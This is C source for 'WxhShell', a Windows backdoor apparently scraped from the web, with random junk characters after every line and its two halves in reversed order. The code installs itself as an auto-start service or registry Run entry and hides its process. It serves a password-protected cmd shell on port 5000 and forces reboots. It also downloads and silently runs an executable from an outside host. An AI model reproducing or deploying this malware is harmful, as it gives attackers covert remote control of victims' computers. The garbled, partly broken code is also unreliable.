    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); c';~bYZ  
    if(Boot(SHUTDOWN)) Fu.aV876\f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &6\&McmkX  
    else { yu6~:$%H  
    closesocket(wsh); 9(]_so24,  
    ExitThread(0); cB,^?djJ3  
    } *fm?"0M5  
    break; Fbo"Csn_  
    } *z[vp2 TN  
  // 获取shell 9i\}^ s2  
  case 's': { Kyh6QA^  
    CmdShell(wsh); ]-t )wGr  
    closesocket(wsh); \udB4O  
    ExitThread(0); P8c_GEna  
    break; QjLU@?&  
  } Z0&^(Fb  
  // 退出 FJ84 'T\~  
  case 'x': { <lB2Nv-,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \>S.nW  
    CloseIt(wsh); 6Y2,fW8i,  
    break; )?[2Y%P  
    } "1s ]74  
  // 离开 $2Wk#F2c=  
  case 'q': { 9we];RYK  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); w}1IP-  
    closesocket(wsh); `)a|Q  
    WSACleanup(); 4&NB xe  
    exit(1); 7Q/H+)  
    break; \y7?w*K  
        } \!-]$&,j4  
  } !po,Z&  
  } 2- L-=0  
#:" ]-u^  
  // 提示信息 #w L(<nE  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I0Do%  
} p+P@I7V  
  } *{?2M6Z  
N d>zq  
  return; 4AhF E@  
} <uIPv Zsx  
v Z10Rb8  
// shell模块句柄 Fe[6Y<x+:  
int CmdShell(SOCKET sock) sA6HkB.  
{ ~jw:4sG  
STARTUPINFO si; No\#N/1@P  
ZeroMemory(&si,sizeof(si)); (&m1*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )%jS9e{d  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; L\ysy2E0  
PROCESS_INFORMATION ProcessInfo; s-*N_Dv  
char cmdline[]="cmd"; c+{XP&g8_J  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6No.2Oo  
  return 0; O#igH  
} 26~rEOgJ  
;s3@(OnjZ  
// 自身启动模式 Rb<| <D+  
int StartFromService(void) !& c%!*  
{ > X  AB#  
typedef struct (NUXK  
{ f]1 $`  
  DWORD ExitStatus; >kAJS??  
  DWORD PebBaseAddress; 1%M^MT%&  
  DWORD AffinityMask; leHKBu'd  
  DWORD BasePriority; IO #)r[JZ  
  ULONG UniqueProcessId; {$N\@q@v~  
  ULONG InheritedFromUniqueProcessId; 2h5T$[fV  
}   PROCESS_BASIC_INFORMATION; (a!E3y5,  
e~QLzZ3  
PROCNTQSIP NtQueryInformationProcess; j 1'H|4  
HV`u#hZ7C  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %/zHL?RqJ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; z*nztvY@e  
rREev  
  HANDLE             hProcess; ~(m6dPm$}m  
  PROCESS_BASIC_INFORMATION pbi; 3>(~5  
WL% T nux  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); BCExhp  
  if(NULL == hInst ) return 0; Q9y|1Wg1W  
*QW.#y>"j  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); dY?l oFz  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); A f?&VD4K  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); h<m>S,@g  
:%Z)u:~':  
  if (!NtQueryInformationProcess) return 0; 9F,XjPK=  
Ql7opl,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); FIn)O-<  
  if(!hProcess) return 0; $.DD^ "9  
RW>F %P  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m$Tt y[0  
/XRgsF  
  CloseHandle(hProcess); ivdPF dJ  
}J5iY0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); unL1/JY z  
if(hProcess==NULL) return 0; R U[  
&m(eMX0lU  
HMODULE hMod; ?Wt_Obl  
char procName[255]; Rpcnpo  
unsigned long cbNeeded; 2b {Y1*  
'H1"z!]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); + $~HRbo  
AO$aWyI  
  CloseHandle(hProcess); ^1}ffE(3>  
(I`< ;  
if(strstr(procName,"services")) return 1; // 以服务启动 hy"p8j7_  
x2i`$iNhmP  
  return 0; // 注册表启动 Fo"' [`  
} /C<} :R  
jP @t!=  
// 主模块 Rx<[bohio  
int StartWxhshell(LPSTR lpCmdLine) h^9Ne/s~  
{ nDC5/xB  
  SOCKET wsl; qmnCa&C9  
BOOL val=TRUE; RDG,f/L2  
  int port=0; I@a7!ugU65  
  struct sockaddr_in door; /|e"0;{  
;LT#/t)}<  
  if(wscfg.ws_autoins) Install(); Q~*3Z4)j  
9]8M {L  
port=atoi(lpCmdLine); WY~}sE  
yC=vTzzp  
if(port<=0) port=wscfg.ws_port; \b88=^  
8&f"")m  
  WSADATA data; $0iN43WSQ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Q;$/&Y*  
ZoC?9=k  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;Wr,VU]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q14A 'XW  
  door.sin_family = AF_INET; UE\@7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]*;+ U6/?  
  door.sin_port = htons(port); "=!QSb  
{&(bKQ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]O&A:Us  
closesocket(wsl); Ip0@Q}^  
return 1; +FVcrL@  
} .Lu=16  
?t.?f`(|  
  if(listen(wsl,2) == INVALID_SOCKET) { Hp> J,m(*  
closesocket(wsl); cl7+DAE  
return 1; zck |jhJ6  
} f<'&_*7,|t  
  Wxhshell(wsl); N<Q}4%^c  
  WSACleanup(); 4_I,wG@  
&(^>}&XS.<  
return 0; "Lpt@g[HF  
ZCJ8I  
} IO_H%/v"jC  
7erao-  
// 以NT服务方式启动 .}y Lz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #WpO9[b>  
{ Z*e7W O.  
DWORD   status = 0; t@19a6:Co  
  DWORD   specificError = 0xfffffff; nt[0krG  
.r*b+rc;]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; U ._1'pW  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =yNHJHRA#  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #XY]@V\  
  serviceStatus.dwWin32ExitCode     = 0; c!\y\r  
  serviceStatus.dwServiceSpecificExitCode = 0; $BBfsaJPT  
  serviceStatus.dwCheckPoint       = 0; /s*>V@Q  
  serviceStatus.dwWaitHint       = 0; u]MF r2  
G7/LYTT)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Z/RUrYeb  
  if (hServiceStatusHandle==0) return; u!`C:C'  
]R>k0X.V  
status = GetLastError(); b~1p.J4  
  if (status!=NO_ERROR) YL=k&Q G  
{ !<6wrOMaO  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +m7 x>ie)  
    serviceStatus.dwCheckPoint       = 0; 6$dm-BI  
    serviceStatus.dwWaitHint       = 0; $-AvH( @  
    serviceStatus.dwWin32ExitCode     = status; f"0H9  
    serviceStatus.dwServiceSpecificExitCode = specificError; Y@\5gZ&T  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =,]J"n8|v  
    return; h5l Lb+  
  } Gf]s?J^a  
Pd;ClMa%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; EIEq[`h  
  serviceStatus.dwCheckPoint       = 0; &lS0"`J=  
  serviceStatus.dwWaitHint       = 0; tx1jBh:e=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); z|?R=;,u`  
} coFg69\^  
O`0$pn  
// 处理NT服务事件,比如:启动、停止 x[^A9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) r;T/  
{ ry]7$MQyV  
switch(fdwControl) v#+w<gRq  
{ Y-c~"#  
case SERVICE_CONTROL_STOP: )Z%+~n3o'  
  serviceStatus.dwWin32ExitCode = 0; xA5$!Oq7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; hCvn(f  
  serviceStatus.dwCheckPoint   = 0; yK7>^p}V  
  serviceStatus.dwWaitHint     = 0; TxCQGzqe  
  { omA*XXUx=8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ` U3  
  } F i/G, [q  
  return; CzEn_ZMb  
case SERVICE_CONTROL_PAUSE: Mqtp}<*@-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +r!h*4  
  break; &"h!SkX/  
case SERVICE_CONTROL_CONTINUE: uWInx6p  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; QPcB_wUqu  
  break; >oNk(. %  
case SERVICE_CONTROL_INTERROGATE: Z%{f[|h9}  
  break; GDB>!ukg  
}; U44H/5/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +=k|(8Js#  
} *vO'Z &  
oX4uRc7wR  
// 标准应用程序主函数 GKtQ>39B  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?.4l1X6Ba  
{ ibc/x v2  
.am*d|&+G  
// 获取操作系统版本 ~=mM/@HD  
OsIsNt=GetOsVer(); ,h._iO)I^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); y4L9Cxvs  
NFc8"7Mz}  
  // 从命令行安装 7:<Ed"rdE  
  if(strpbrk(lpCmdLine,"iI")) Install(); )\;r V';  
[E~TYk;  
  // 下载执行文件 k9xKaJ %1  
if(wscfg.ws_downexe) { cj<@~[uw  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !v L :P2  
  WinExec(wscfg.ws_filenam,SW_HIDE); `@D4?8_  
} iIw ea`  
=x'%zUgE  
if(!OsIsNt) { $bosGG  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~&:R\  
HideProc(); ECzNByP  
StartWxhshell(lpCmdLine); \(FDR  
} ]c2| m}I{:  
else OJ 5 !+#>  
  if(StartFromService()) y21uvp'  
  // 以服务方式启动 2AW{qwk7  
  StartServiceCtrlDispatcher(DispatchTable); Sh6Cw4 R  
else ACYn87tq  
  // 普通方式启动 ;alFK*K6  
  StartWxhshell(lpCmdLine); FO=1P7  
m_ m@>}ud  
return 0; ;/T-rVND  
} j2M(W/_  
rtx]dc1m  
Oha g%<1#  
#Vigu,zY  
=========================================== y}HC\A77uD  
KgWT&^t  
?|GxVOl  
^b %8_?2m  
J"%}t\Q  
hY 2PV7"[;  
"  ]:fCyIE  
RA I&;"  
#include <stdio.h> :Qo  
#include <string.h> 3rg^R"&  
#include <windows.h> 5z ^UQ q  
#include <winsock2.h> 9%14k  
#include <winsvc.h> x 4</\o  
#include <urlmon.h> z44~5J]  
SYPMoE!U:  
#pragma comment (lib, "Ws2_32.lib") l|em E ^  
#pragma comment (lib, "urlmon.lib") \q'fB?bS^  
Z;\"pP:  
#define MAX_USER   100 // 最大客户端连接数 6ya87H'e@  
#define BUF_SOCK   200 // sock buffer <@2# VG  
#define KEY_BUFF   255 // 输入 buffer X$iJ|=vW  
Wb )l8[=  
#define REBOOT     0   // 重启 ;w(1Ydo  
#define SHUTDOWN   1   // 关机 arKmc@"X  
"|*Kf#  
#define DEF_PORT   5000 // 监听端口 jsd]7C  
'a^tL[rLP1  
#define REG_LEN     16   // 注册表键长度 =Fy8rTdk6r  
#define SVC_LEN     80   // NT服务名长度 otD?J= B  
yWi0 tE{  
// 从dll定义API :qTcxzV  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); vcO`j<`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {b0&qV   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 'A!/pUML  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); F(~_L.  
/&as)  
// wxhshell配置信息 rE `}?d  
struct WSCFG { fbTw6Fde$  
  int ws_port;         // 监听端口 dHF$T33It  
  char ws_passstr[REG_LEN]; // 口令 3,L3C9V'  
  int ws_autoins;       // 安装标记, 1=yes 0=no u7P+^A97L_  
  char ws_regname[REG_LEN]; // 注册表键名 _JTxm>  
  char ws_svcname[REG_LEN]; // 服务名 F*JvpI[7n  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ]_: TrH  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 kefv=n*]l  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 I#E(r>KW*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Vy^yV|`v  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3u0<v%Qi  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Wo9psv7.  
#t2UPLO~  
}; ]ZzG!7  
q6JW@GT  
// default Wxhshell configuration Xu94v{u3  
struct WSCFG wscfg={DEF_PORT, Z<|_+7T  
    "xuhuanlingzhe", Iei7!KLW  
    1, wEnuUC4j  
    "Wxhshell", =ch Af=  
    "Wxhshell", ~K-*q{6Q  
            "WxhShell Service", m_!vIUOz  
    "Wrsky Windows CmdShell Service", Jp3di&x  
    "Please Input Your Password: ", &M3ES}6  
  1, H]$=*(aje  
  "http://www.wrsky.com/wxhshell.exe", 0SY f<$  
  "Wxhshell.exe" _p J_V>l  
    }; ca/o#9:N`:  
yaRcBT?  
// 消息定义模块 nOal7BNN  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; b?]ly(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; yvoo M'R  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; "vOfAo]`  
char *msg_ws_ext="\n\rExit."; `,Y[Z  
char *msg_ws_end="\n\rQuit."; 0YpiHoM  
char *msg_ws_boot="\n\rReboot..."; Yl&tkSw46  
char *msg_ws_poff="\n\rShutdown..."; fQW_YQsb  
char *msg_ws_down="\n\rSave to "; IFrb}yH  
GtM( Y  
char *msg_ws_err="\n\rErr!"; N`<4:v[P  
char *msg_ws_ok="\n\rOK!"; Vv yrty  
33<fN:J]f  
char ExeFile[MAX_PATH]; `!omzE*bk5  
int nUser = 0; ?l, X!o6  
HANDLE handles[MAX_USER]; qH h'l;.  
int OsIsNt; 0i*'N ch#i  
w~$c= JO#  
SERVICE_STATUS       serviceStatus; ewAH'H]o  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~S^X"8(U  
`o_fUOe8a  
// 函数声明 juCG?}di;  
int Install(void); XnE %$NJ  
int Uninstall(void); 9jMC |oE  
int DownloadFile(char *sURL, SOCKET wsh); C](z#c~c  
int Boot(int flag); i'Y'HI  
void HideProc(void); cNuHXaWp  
int GetOsVer(void); 2&gd"Ak(  
int Wxhshell(SOCKET wsl); F8[B^alAe  
void TalkWithClient(void *cs); sArje(5Eo  
int CmdShell(SOCKET sock); t8A kdSU0  
int StartFromService(void); b@wBR9s  
int StartWxhshell(LPSTR lpCmdLine); NDRW  
XatA8(_,5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); xi?P(s A  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^$=tcoQG  
e|b~[|;*=  
// 数据结构和表定义 'n^2|"$sH  
SERVICE_TABLE_ENTRY DispatchTable[] = ;v,9 v;T  
{ Jm %ynW  
{wscfg.ws_svcname, NTServiceMain}, i!Dh &XT  
{NULL, NULL} %wt2F-u  
}; i5 L:L  
` /I bWu  
// 自我安装 !f\?c7  
int Install(void) Gpdv]SON{  
{ dU ,)TKQ  
  char svExeFile[MAX_PATH]; $bZu^d,  
  HKEY key; oNuPP5d[]  
  strcpy(svExeFile,ExeFile); \6SMn6a4  
6.U  "_%  
// 如果是win9x系统,修改注册表设为自启动 X(GmiH /E  
if(!OsIsNt) { C#Hcv*D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~5r=FF6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I(OAEIz  
  RegCloseKey(key); QN_)3lm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !Tn0M;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qnq%mwDeD  
  RegCloseKey(key); mW~i c  
  return 0; v)@,:u)  
    } X~v4"|a  
  } 5c: '>  
} IjG5X[@  
else { c q*p9c  
_m9~*  
// 如果是NT以上系统,安装为系统服务 b:P\=k]8#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); x7 "z(rKl  
if (schSCManager!=0) wv, GBZ-f  
{ (TEo_BW|+  
  SC_HANDLE schService = CreateService 87^:<\pp  
  ( \npz .g^c_  
  schSCManager, |H ^w>mk  
  wscfg.ws_svcname, @J-plJ4e  
  wscfg.ws_svcdisp, ug^om{e-  
  SERVICE_ALL_ACCESS, ;W7hc!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , xi6 80'  
  SERVICE_AUTO_START, ^Sy^+=wK3  
  SERVICE_ERROR_NORMAL, (jM<T;4  
  svExeFile, EHpu*P~W  
  NULL, YXF#c)#  
  NULL, = :Po%Z%{  
  NULL, 2?GXkPF2;A  
  NULL, bnijM/73  
  NULL sS, zzx<  
  ); o"|O ]  
  if (schService!=0) `[WyH O|8  
  { j#N(1}r=1  
  CloseServiceHandle(schService); }*iAE>;  
  CloseServiceHandle(schSCManager); 89zuL18V  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); luW <V>  
  strcat(svExeFile,wscfg.ws_svcname); h ZoC _\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { g-."sniP$g  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); p1Q/g Il  
  RegCloseKey(key); A)8rk_92Q  
  return 0; qE>i,|rP`  
    } |vv]Z(_  
  } \). Nag+  
  CloseServiceHandle(schSCManager); za,6 du6  
} fC_zX}3  
} #hIEEkCp +  
&oA~ Tx  
return 1; k_]\(myq  
} 7egq4gN]2Y  
lZ}P{d'f.  
// 自我卸载 F(deu^s%{  
int Uninstall(void) ,# ]+HS^B  
{ $zdd=.!KiK  
  HKEY key; T`uDlo  
wi>DZkR  
if(!OsIsNt) { SijtTY#r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dIma{uv  
  RegDeleteValue(key,wscfg.ws_regname); /x$}D=(CZ  
  RegCloseKey(key); y'^F,WTM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { neF8V"-u&  
  RegDeleteValue(key,wscfg.ws_regname); LyIKP$t  
  RegCloseKey(key); 5)w4)K-%  
  return 0; SGt5~T xj  
  } O47PkP8  
} cI5N"U@yN  
} Tj=gRQ2v  
else { UL&} s_  
> 84e`aGE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4 bn t=5]  
if (schSCManager!=0) W/sY#"  
{ RF:04d  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \UOm]z  
  if (schService!=0) h{I`7X  
  { gt'*B5F(  
  if(DeleteService(schService)!=0) { 47KNT7C  
  CloseServiceHandle(schService); nh<Z1tMU  
  CloseServiceHandle(schSCManager); GSP?X$E  
  return 0; YNI;h%w  
  } yx2z%E  
  CloseServiceHandle(schService); C#0brCQq3  
  } (i\)|c/a7  
  CloseServiceHandle(schSCManager); a~,Kz\Tt  
} F'1k<V?  
} &I%IaNco  
avg4K*vv  
return 1; ^;+[8:Kb  
} \Dfm(R  
cM3jnim  
// 从指定url下载文件 0*/kGvw`i  
int DownloadFile(char *sURL, SOCKET wsh) M_Bu,<q^  
{ Y17hOKc`  
  HRESULT hr; 8&%Cy'TIz4  
char seps[]= "/"; JRXRi*@  
char *token; ZNi +Aw$u  
char *file; teAukE=}  
char myURL[MAX_PATH]; SyAo, )j  
char myFILE[MAX_PATH]; ;= a_B1"9u  
B[CA 5Ry  
strcpy(myURL,sURL); > VP5vkv=  
  token=strtok(myURL,seps); b:1 L@8s;  
  while(token!=NULL) /[%w*v*'  
  { 9mDn KW  
    file=token; "Kq>#I'%W  
  token=strtok(NULL,seps); FI$XSG  
  } g rspt}  
`"c'z;  
GetCurrentDirectory(MAX_PATH,myFILE); `;$h'eI9  
strcat(myFILE, "\\"); ->h5T%sn  
strcat(myFILE, file); "TNVD"RLY  
  send(wsh,myFILE,strlen(myFILE),0); QXs8:;T  
send(wsh,"...",3,0); q6R Eh;$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Cc Y7$D  
  if(hr==S_OK) &pL/ @2+  
return 0; 6T_K9  
else 6Cv.5V hx  
return 1; P 6.!3%y  
TcJ$[  
} &qKig kLd  
RU|X*3";T  
// 系统电源模块 t+O e)Ns  
int Boot(int flag) ,:UX<6l R  
{ q_sEw~~@!  
  HANDLE hToken; %m`zWg-  
  TOKEN_PRIVILEGES tkp; lI6W$V\,  
&n>7Ir  
  if(OsIsNt) {  L=]p_2+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); rEM#D]k  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); at| \FOKj  
    tkp.PrivilegeCount = 1; t"|DWC*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -uj3'g (;w  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |cgui  
if(flag==REBOOT) { cS(;Qs]Q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) k"0;D-lTZ>  
  return 0; A?A9`w  
} 8vSIf+  
else { hF>u)%J/S  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Juu+vMn1  
  return 0; 2"X~ju  
} id?E)Jy  
  } OhFW*v  
  else { "(f`U.  
if(flag==REBOOT) { 8{ gXToK  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) psUE!~9,  
  return 0; nZ E)_  
} %j5ywr:  
else {  to>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -ihiG_f  
  return 0; Skxd<gv  
} $(rc/h0/E  
} 2+Yb 7 uI,  
e<"/'Ql!k  
return 1; #K|9^4jt  
} 50$W0L$  
+ >nr.,qo3  
// win9x进程隐藏模块 ~*-qX$gr  
void HideProc(void) `5l01nOxJ  
{ T$mbk3P  
` >U?v  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); cG_Vc[  
  if ( hKernel != NULL ) q.W>4 k  
  { rt}^4IqL  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?lKhzH.T  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); i\Wdo/c-H  
    FreeLibrary(hKernel); %\6Q .V#s  
  } s`;f2B/|  
+~35G:&:  
return; jatr/  
} 5k$vlC#[H  
HdNnUDb$B  
// 获取操作系统版本 !0" nx{7.  
int GetOsVer(void) N'?u1P4G  
{ d1G8*YO@  
  OSVERSIONINFO winfo; H M:r0_  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); T1bd:mC}n  
  GetVersionEx(&winfo); VteEDL/w  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) # {PmNx%M  
  return 1; ppN} k)m  
  else KY.ZT2k  
  return 0; ^R~~L  
} Q2QY* A  
f~ U.a.Fb  
// 客户端句柄模块 e|lD:_1i  
int Wxhshell(SOCKET wsl) s&Yi 6:J  
{ 8ObeiVXf)  
  SOCKET wsh; v("wKHWTI@  
  struct sockaddr_in client; r*XLV{+4  
  DWORD myID; N$#\Xdo  
#*^+F?o,(  
  while(nUser<MAX_USER) #/70!+J_UF  
{ (kw5>c7  
  int nSize=sizeof(client); 93o;n1rS  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); OH'ea5x q  
  if(wsh==INVALID_SOCKET) return 1; @~:8ye  
Mvcfk$pA  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ar ^i|`D  
if(handles[nUser]==0) Or+p%K}-7  
  closesocket(wsh); RE"^ )-  
else -d=WV:G%e  
  nUser++; >*1}1~uU`'  
  } qTmD '2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); | C+o;  
VR0=SE  
  return 0; 1cC1*c0Z  
} QG3&p<  
!mnUdR|>(  
// 关闭 socket D1T@R)j  
void CloseIt(SOCKET wsh) #b)e4vwCq  
{ 3yO=S0`  
closesocket(wsh); KoBW}x9Jp  
nUser--; DuF"*R~et  
ExitThread(0); {hdPhL  
} 3z8C  
bS!\#f%9"  
// 客户端请求句柄 K5 KyG  
void TalkWithClient(void *cs) ,6"l(]0  
{ 'Jj=RAV`  
)!W45"l-3M  
  SOCKET wsh=(SOCKET)cs; \RG!@$i  
  char pwd[SVC_LEN]; Lx[ ,Z,kD  
  char cmd[KEY_BUFF]; Wf26  
char chr[1]; |ys0`Vb=$  
int i,j; NXk!qGV2  
u{e-G&]^;  
  while (nUser < MAX_USER) { \>Zvev!s  
@N.jB#nEb  
if(wscfg.ws_passstr) { >U!*y4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5M_Wj*a}7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l=m(mf?QBg  
  //ZeroMemory(pwd,KEY_BUFF); rf K8q'@  
      i=0; Ol/N}M|3  
  while(i<SVC_LEN) { n"D ?I  
xge7r3i  
  // 设置超时 #JW+~FU`  
  fd_set FdRead; 9pSUIl9|j  
  struct timeval TimeOut; Ud(`V:d  
  FD_ZERO(&FdRead); ~mp0B9L%  
  FD_SET(wsh,&FdRead); svhI3"r  
  TimeOut.tv_sec=8; kxB.,'  
  TimeOut.tv_usec=0; gP}+wbk  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); G4-z3e,crr  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2N [=  
UQ?%|y*Kc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dJk9@u  
  pwd=chr[0]; ml!5:r>  
  if(chr[0]==0xd || chr[0]==0xa) { $lwz-^1t.  
  pwd=0; kUl  
  break; MgMD\  
  } 1NLg _UBOK  
  i++; P:xT0gtt  
    } :#t*K6dz  
^A_;#vK  
  // 如果是非法用户,关闭 socket dY!Z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =d`5f@'rl  
} A;X=bj _&a  
5"KlRuv%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]+ Ixi o  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Tl("IhkC  
S~OhtHwK  
while(1) { ?}P5p^6  
`)$_YZq|SR  
  ZeroMemory(cmd,KEY_BUFF); 2[yBD-":  
@z`@f"l  
      // 自动支持客户端 telnet标准   }Fb!?['G5  
  j=0; Fj p.T;  
  while(j<KEY_BUFF) { LV{Q,DrP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [\z/Lbn ,.  
  cmd[j]=chr[0]; )X+mV  
  if(chr[0]==0xa || chr[0]==0xd) { ( )T[$.(  
  cmd[j]=0; G=9d&N  
  break; uZjC c M  
  } c,\i"=!$  
  j++; ^eq</5q D  
    } .p` pG3  
u'~;Y.@i'  
  // 下载文件 HfNDD| Zz  
  if(strstr(cmd,"http://")) { ^ZRYRA  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); W6c]-pc  
  if(DownloadFile(cmd,wsh)) +K",^6%1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); / +K?  
  else ^C)n$L>C0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '-$XX%TOAc  
  } ^rNUAj9Z  
  else { si4-3eC  
